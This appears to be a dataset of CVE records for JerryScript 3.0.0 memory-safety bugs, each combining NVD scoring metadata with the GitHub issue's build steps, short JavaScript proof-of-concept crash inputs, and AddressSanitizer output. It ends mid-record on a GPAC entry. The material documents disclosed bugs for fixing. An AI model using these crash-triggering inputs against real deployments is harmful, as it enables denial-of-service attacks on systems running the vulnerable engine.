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CVE-2022-22888 | 2022-01-20T23:15:07.860 | Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_op_object_find_own in /ecma/operations/ecma-objects.c. | {
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"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
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"source": "[email protected]",
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"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4848"
}
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
[4592143](https://github.com/jerryscript-project/jerryscript/commit/4592143400910769707477bc2282a6c6601c9a31)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64)
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20
```
###### Test case
```javascript
var once = false;
var m = 1;
function JSEtest(){
if(!once){
m = new Array(1, 2, 3);
this[2] = m;
}
once = true;
return this[2] = m;
}
JSON.parse("[1, 2, [4, 5]]", JSEtest);
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc1.js
ASAN:DEADLYSIGNAL
=================================================================
==5376==ERROR: AddressSanitizer: stack-overflow on address 0xff3e5ff0 (pc 0x56722cec bp 0x00000000 sp 0xff3e5ff0 T0)
#0 0x56722ceb in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490
#1 0x56a4ae1f (/root/jerryscript/build/bin/jerry+0x46fe1f)
SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:490 in ecma_op_object_find_own
==5376==ABORTING
```
Credits: Found by OWL337 team. | Stack-overflow in ecma-objects (ecma_op_object_find_own) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4848/comments | 1 | 2021-12-07T10:36:37Z | 2022-01-12T02:04:53Z | https://github.com/jerryscript-project/jerryscript/issues/4848 | 1,073,189,379 | 4,848 |
CVE-2022-22890 | 2022-01-20T23:15:07.920 | There is an Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' failed at /jerry-core/parser/js/js-scanner-util.c in Jerryscript 3.0.0. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": false
}
],
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},
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"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4847"
}
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
[4592143](https://github.com/jerryscript-project/jerryscript/commit/4592143400910769707477bc2282a6c6601c9a31)
###### Build platform
Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64)
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```
this.__defineSetter__("a", function(){});
function JSEtest (arguments = (function rec(n1, n2) {
if (n1.length == n2) { m = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAA"; }
rec(n1, n2 + 1);
})([,], 0)
, m = eval("")
)
{}
JSEtest(a);
```
###### Execution steps & Output
```
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' failed at root/jerryscript/jerry-core/parser/js/js-scanner-util.c(scanner_pop_literal_pool):668.
Error: ERR_FAILED_INTERNAL_ASSERTION
```
Credits: Found by OWL337 team. | Assertion 'arguments_type != SCANNER_ARGUMENTS_PRESENT && arguments_type != SCANNER_ARGUMENTS_PRESENT_NO_REG' in js-scanner-util (scanner_pop_literal_pool) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4847/comments | 1 | 2021-12-07T08:52:59Z | 2022-01-12T02:04:34Z | https://github.com/jerryscript-project/jerryscript/issues/4847 | 1,073,083,583 | 4,847 |
CVE-2022-22891 | 2022-01-21T00:15:07.700 | Jerryscript 3.0.0 was discovered to contain a SEGV vulnerability via ecma_ref_object_inline in /jerry-core/ecma/base/ecma-gc.c. | {
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"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
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"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
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},
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"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4871"
}
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] | https://github.com/jerryscript-project/jerryscript/issues/4871 | [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27) Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function echo(str) {
console.log(str);
}
function T(p, r, u) {
return Object.assign(p, {
then(onFulfilled, onRejected) {
if (u) {
onFulfilled(r);
} else {
onFulfilled();
}
return Promise.prototype.then.call(this, onFulfilled, onRejected);
}
});
}
function JSEtest(i) {
var ps = [T(Promise.resolve('success'))];
Promise.all(ps).then(res => {
echo(`Test #${i} - Success with '${res}' (length = ${res.length}) (isArray = ${Array.isArray(res)})`);
}).catch(err => {
echo(`Test #${i} - Catch with ${err}`);
});
}
JSEtest(1);
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ASAN:DEADLYSIGNAL
=================================================================
==95503==ERROR: AddressSanitizer: SEGV on unknown address 0x41b58ab0 (pc 0x566075cf bp 0x1ff7c4b0 sp 0xffbe2500 T0)
==95503==The signal is caused by a READ memory access.
#0 0x566075ce in ecma_ref_object_inline /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136
#1 0x56639c0c in ecma_copy_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:913
#2 0x56639c0c in ecma_fast_copy_value /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:940
#3 0x566cdd0b in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:647
#4 0x566d2ea0 in ecma_op_object_find_own /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:494
#5 0x566d2ea0 in ecma_op_object_get_with_receiver /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:879
#6 0x567ef0cf in ecma_op_array_get_to_string_at_index /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:273
#7 0x567ef0cf in ecma_builtin_array_prototype_join /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:322
#8 0x567ef0cf in ecma_builtin_array_prototype_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2940
#9 0x566731f1 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
#10 0x566731f1 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
#11 0x566b48b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
#12 0x566bae4d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
#13 0x5668d365 in ecma_array_object_to_string /root/jerryscript/jerry-core/ecma/operations/ecma-array-object.c:1228
#14 0x5681e945 in ecma_builtin_intrinsic_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-intrinsic.c:201
#15 0x566731f1 in ecma_builtin_dispatch_routine /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1543
#16 0x566731f1 in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1574
#17 0x566b48b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
#18 0x566bae4d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
#19 0x566c9572 in ecma_op_general_object_ordinary_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:319
#20 0x566c976b in ecma_op_general_object_default_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects-general.c:284
#21 0x566d6875 in ecma_op_object_default_value /root/jerryscript/jerry-core/ecma/operations/ecma-objects.c:1780
#22 0x566a905a in ecma_op_to_string /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:456
#23 0x567b3433 in vm_loop /root/jerryscript/jerry-core/vm/vm.c:2820
#24 0x567e21da in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260
#25 0x567e7e7c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
#26 0x566b4101 in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
#27 0x566bae25 in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439
#28 0x566c495e in ecma_process_promise_reaction_job /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:221
#29 0x566c495e in ecma_process_all_enqueued_jobs /root/jerryscript/jerry-core/ecma/operations/ecma-jobqueue.c:563
#30 0x565d4dbc in jerry_run_jobs /root/jerryscript/jerry-core/api/jerryscript.c:1064
#31 0x565c004b in main /root/jerryscript/jerry-main/main-jerry.c:326
#32 0xf76f1f20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
#33 0x565c9359 (/root/jerryscript/build/bin/jerry+0x3b359)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /root/jerryscript/jerry-core/ecma/base/ecma-gc.c:136 in ecma_ref_object_inline
==95503==ABORTING
```
Credits: Found by OWL337 team.
| SEGV in ecma_ref_object_inline of ecma-gc.c | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4871/comments | 0 | 2021-12-09T07:38:01Z | 2022-01-12T02:05:15Z | https://github.com/jerryscript-project/jerryscript/issues/4871 | 1,075,248,187 | 4,871 |
CVE-2022-22892 | 2022-01-21T00:15:07.747 | There is an Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed at jerry-core/ecma/base/ecma-helpers-value.c in Jerryscripts 3.0.0. | {
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"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
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"source": "[email protected]",
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]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4872"
}
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] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function JSEtest(f, iters = 1000) {
for (let i = 0; i < iters; i++) {
f();
}
}
function throwTDZ(f) {
let threw = false;
try {
f();
} catch (e) {
;
}
}
JSEtest(function () {
class M {
get foo() {
return this._x;
}
set foo(x) {
this._x = x;
}
}
function fooProp() {
return 'foo';
}
class T1 extends M {
constructor() {
super.foo = 20;
}
}
class T2 extends M {
constructor() {
super[fooProp()] = 20;
}
}
class T3 extends M {
constructor() {
super[fooProp()];
}
}
class T4 extends M {
constructor() {
super.foo;
}
}
class T5 extends M {
constructor() {
(() => super.foo = 20)();
}
}
class T6 extends M {
constructor() {
(() => super[fooProp()] = 20)();
}
}
class T7 extends M {
constructor() {
(() => super[fooProp()])();
}
}
class T8 extends M {
constructor() {
(() => super.foo)();
}
}
throwTDZ(function () {
new T1();
});
throwTDZ(function () {
new T2();
});
throwTDZ(function () {
new T3();
});
throwTDZ(function () {
new T4();
});
throwTDZ(function () {
new T5();
});
throwTDZ(function () {
new T6();
});
throwTDZ(function () {
new T7();
});
throwTDZ(function () {
new T8();
});
});
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed at /root/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_check_value_type_is_spec_defined):441.
Error: ERR_FAILED_INTERNAL_ASSERTION
```
Credits: Found by OWL337 team. | Assertion 'ecma_is_value_undefined (value) || ecma_is_value_null (value) || ecma_is_value_boolean (value) || ecma_is_value_number (value) || ecma_is_value_string (value) || ecma_is_value_bigint (value) || ecma_is_value_symbol (value) || ecma_is_value_object (value)' failed in ecma-helpers-value(ecma_check_value_type_is_spec_defined) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4872/comments | 0 | 2021-12-09T07:41:05Z | 2022-01-12T02:05:47Z | https://github.com/jerryscript-project/jerryscript/issues/4872 | 1,075,250,208 | 4,872 |
CVE-2022-22893 | 2022-01-21T00:15:07.790 | Jerryscript 3.0.0 was discovered to contain a stack overflow via vm_loop.lto_priv.304 in /jerry-core/vm/vm.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"impactScore": 6.4,
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"type": "Primary",
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"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
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]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4901"
}
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"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [42523bd6](https://github.com/jerryscript-project/jerryscript/commit/42523bd6e2b114755498c9f68fd78545f9b33476)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-g --strip=off --system-allocator=on --logging=on --linker-flag=-fuse-ld=gold --error-messages=on --line-info=on --stack-limit=10
```
###### Test case
```javascript
function JSEtest() {
new JSEtest();
}
try {
JSEtest();
} catch (e) {
print(e);
}
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ASAN:DEADLYSIGNAL
=================================================================
==78723==ERROR: AddressSanitizer: stack-overflow on address 0xff0d8f90 (pc 0x566a456c bp 0xff0d95d8 sp 0xff0d8f90 T0)
#0 0x566a456b in vm_loop.lto_priv.304 /root/jerryscript/jerry-core/vm/vm.c:975
#1 0x56929645 in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5260
#2 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
#3 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
#4 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
#5 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
#6 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
#7 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287
#......
#......
#368 0x5692e592 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
#369 0x5674524e in ecma_op_function_call_simple.lto_priv.397 /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
#370 0x567e8c9c in ecma_op_function_construct_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1533
#371 0x567e8c9c in ecma_op_function_construct /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1769
#372 0x5692995a in opfunc_construct.isra.2 /root/jerryscript/jerry-core/vm/vm.c:844
#373 0x5692995a in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5287
SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/vm/vm.c:975 in vm_loop.lto_priv.304
==78723==ABORTING
```
Credits: Found by OWL337 team. | Stack-overflow in vm_loop.lto_priv.304 of vm.c | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4901/comments | 0 | 2021-12-13T09:33:54Z | 2022-01-12T02:03:50Z | https://github.com/jerryscript-project/jerryscript/issues/4901 | 1,078,286,757 | 4,901 |
CVE-2022-22894 | 2022-01-21T00:15:07.833 | Jerryscript 3.0.0 was discovered to contain a stack overflow via ecma_lcache_lookup in /jerry-core/ecma/base/ecma-lcache.c. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
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}
],
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/jerryscript-project/jerryscript/issues/4890"
}
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"Exploit",
"Issue Tracking",
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] | github.com | [
"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --profile=es2015-subset --stack-limit=20
```
###### Test case
```javascript
let array = new Array(1);
array.splice(1, 0, array);
array.flat(Infinity);
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
ASAN:DEADLYSIGNAL
=================================================================
==26613==ERROR: AddressSanitizer: stack-overflow on address 0xff535ffc (pc 0x5661347c bp 0xff536090 sp 0xff536000 T0)
#0 0x5661347b in ecma_lcache_lookup /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144
#1 0x569cde1f (/root/jerryscript/build/bin/jerry+0x477e1f)
SUMMARY: AddressSanitizer: stack-overflow /root/jerryscript/jerry-core/ecma/base/ecma-lcache.c:144 in ecma_lcache_lookup
==26613==ABORTING
```
Credits: Found by OWL337 team. | Stack-overflow in ecma_lcache_lookup (ecma-lcache.c) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4890/comments | 0 | 2021-12-09T14:27:01Z | 2022-01-12T02:08:57Z | https://github.com/jerryscript-project/jerryscript/issues/4890 | 1,075,634,585 | 4,890 |
CVE-2022-22895 | 2022-01-21T00:15:07.880 | Jerryscript 3.0.0 was discovered to contain a heap-buffer-overflow via ecma_utf8_string_to_number_by_radix in /jerry-core/ecma/base/ecma-helpers-conversion.c. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
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"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
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}
]
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"jerryscript"
] | JerryScript-DCO-1.0-Signed-off-by: Robert Fancsik [email protected]
| Fix buffer overflow in string radix conversion | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4850/comments | 0 | 2021-12-07T14:15:32Z | 2021-12-07T14:28:11Z | https://github.com/jerryscript-project/jerryscript/pull/4850 | 1,073,404,012 | 4,850 |
CVE-2022-22895 | 2022-01-21T00:15:07.880 | Jerryscript 3.0.0 was discovered to contain a heap-buffer-overflow via ecma_utf8_string_to_number_by_radix in /jerry-core/ecma/base/ecma-helpers-conversion.c. | {
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"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
Commit: [51da1551](https://github.com/jerryscript-project/jerryscript/commit/51da15516e1436184be9914314f76d596f14cd27)
Version: v3.0.0
###### Build platform
Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)
###### Build steps
```bash
./tools/build.py --clean --debug --profile=es2015-subset --compile-flag=-fsanitize=address --compile-flag=-m32 --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20
```
###### Test case
```javascript
function JSEtest(val) {
return Number(val);
}
isNaN(JSEtest("+0x0"));
isNaN(JSEtest("+0xFF"));
isNaN(JSEtest("-0xFF"));
```
###### Execution steps & Output
```bash
$ ./jerryscript/build/bin/jerry poc.js
=================================================================
==103276==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5d005de at pc 0x566a6771 bp 0xfffe76e8 sp 0xfffe76d8
READ of size 1 at 0xf5d005de thread T0
#0 0x566a6770 in ecma_utf8_string_to_number_by_radix /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:320
#1 0x566a7a09 in ecma_utf8_string_to_number /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:387
#2 0x566bacc7 in ecma_string_to_number /root/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1046
#3 0x5673c738 in ecma_op_to_numeric /root/jerryscript/jerry-core/ecma/operations/ecma-conversion.c:312
#4 0x568bb03b in ecma_builtin_number_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-number.c:90
#5 0x56706f7c in ecma_builtin_dispatch_call /root/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1579
#6 0x567488b4 in ecma_op_function_call_native_built_in /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1243
#7 0x5674ea1d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1444
#8 0x5674ea1d in ecma_op_function_validated_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1402
#9 0x56877f5e in opfunc_call /root/jerryscript/jerry-core/vm/vm.c:762
#10 0x56877f5e in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5266
#11 0x5687be7c in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
#12 0x56748101 in ecma_op_function_call_simple /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1203
#13 0x5674ea3d in ecma_op_function_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1439
#14 0x5674ea3d in ecma_op_function_validated_call /root/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1402
#15 0x56877f5e in opfunc_call /root/jerryscript/jerry-core/vm/vm.c:762
#16 0x56877f5e in vm_execute /root/jerryscript/jerry-core/vm/vm.c:5266
#17 0x5687adb8 in vm_run /root/jerryscript/jerry-core/vm/vm.c:5363
#18 0x5687adb8 in vm_run_global /root/jerryscript/jerry-core/vm/vm.c:290
#19 0x5666d94f in jerry_run /root/jerryscript/jerry-core/api/jerryscript.c:533
#20 0x56653d23 in main /root/jerryscript/jerry-main/main-jerry.c:169
#21 0xf76fff20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
#22 0x5665d359 (/root/jerryscript/build/bin/jerry+0x3b359)
0xf5d005de is located 0 bytes to the right of 14-byte region [0xf5d005d0,0xf5d005de)
allocated by thread T0 here:
#0 0xf7aaaf54 in malloc (/usr/lib32/libasan.so.4+0xe5f54)
#1 0x5665af4c in jmem_heap_alloc /root/jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x5665af4c in jmem_heap_gc_and_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x5665af4c in jmem_heap_alloc_block /root/jerryscript/jerry-core/jmem/jmem-heap.c:324
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/jerryscript/jerry-core/ecma/base/ecma-helpers-conversion.c:320 in ecma_utf8_string_to_number_by_radix
Shadow bytes around the buggy address:
0x3eba0060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba0070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba0080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba0090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x3eba00a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x3eba00b0: fa fa fa fa fa fa fa fa fa fa 00[06]fa fa fd fd
0x3eba00c0: fa fa 05 fa fa fa 00 00 fa fa 00 00 fa fa 05 fa
0x3eba00d0: fa fa fd fa fa fa fd fa fa fa 00 04 fa fa fd fd
0x3eba00e0: fa fa fd fd fa fa 00 00 fa fa 00 06 fa fa 00 03
0x3eba00f0: fa fa 00 07 fa fa 00 00 fa fa fa fa fa fa fa fa
0x3eba0100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==103276==ABORTING
```
Credits: Found by OWL337 team. | Heap-buffer-overflow in ecma_utf8_string_to_number_by_radix (ecma-helpers-conversion.c) | https://api.github.com/repos/jerryscript-project/jerryscript/issues/4882/comments | 3 | 2021-12-09T13:20:38Z | 2022-01-12T02:08:24Z | https://github.com/jerryscript-project/jerryscript/issues/4882 | 1,075,566,600 | 4,882 |
CVE-2021-46234 | 2022-01-21T21:15:08.627 | A NULL pointer dereference vulnerability exists in GPAC v1.1.0 via the function gf_node_unregister () at scenegraph/base_scenegraph.c. This vulnerability can lead to a Denial of Service (DoS). | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "[email protected]",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
